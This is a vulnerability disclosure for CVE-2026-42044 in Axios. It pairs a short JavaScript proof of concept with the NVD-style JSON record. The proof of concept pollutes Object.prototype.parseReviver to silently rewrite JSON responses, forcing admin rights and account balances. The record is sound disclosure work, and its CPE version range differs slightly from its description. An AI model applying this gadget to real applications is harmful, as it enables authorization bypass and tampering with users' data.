CVE-2026-42044

// Assuming a prior prototype pollution vulnerability exists in the dependency tree // Attacker pollutes the prototype with a malicious reviver Object.prototype.parseReviver = function(key, value) { if (key === 'isAdmin') return true; if (key === 'balance') return 999999; return value; }; // Application code using vulnerable Axios (< 1.15.2) const axios = require('axios'); // Make a request to get user profile axios.get('https://api.example.com/user/me') .then(response => { // The response.data has been modified by the polluted reviver // 'isAdmin' might be forced to true even if server sent false console.log('User data:', response.data); if (response.data.isAdmin) { console.log('Access granted to admin panel'); } });

{"cve": {"id": "CVE-2026-42044", "sourceIdentifier": "[email protected]", "published": "2026-04-24T18:16:31.613", "lastModified": "2026-04-27T20:04:11.347", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Axios is a promise based HTTP client for the browser and Node.js. From 1.0.0 to before 1.15.2, he Axios library is vulnerable to a Prototype Pollution \"Gadget\" attack that allows any Object.prototype pollution in the application's dependency tree to be escalated into surgical, invisible modification of all JSON API responses — including privilege escalation, balance manipulation, and authorization bypass. The default transformResponse function at lib/defaults/index.js:124 calls JSON.parse(data, this.parseReviver), where this is the merged config object. Because parseReviver is not present in Axios defaults, not validated by assertOptions, and not subject to any constraints, a polluted Object.prototype.parseReviver function is called for every key-value pair in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact. This vulnerability is fixed in 1.15.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 4.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-915"}, {"lang": "en", "value": "CWE-1321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axios:axios:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.15.1", "matchCriteriaId": "3EC1EF30-EBB8-410B-90FB-1F18A3545C2E"}]}]}], "references": [{"url": "https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}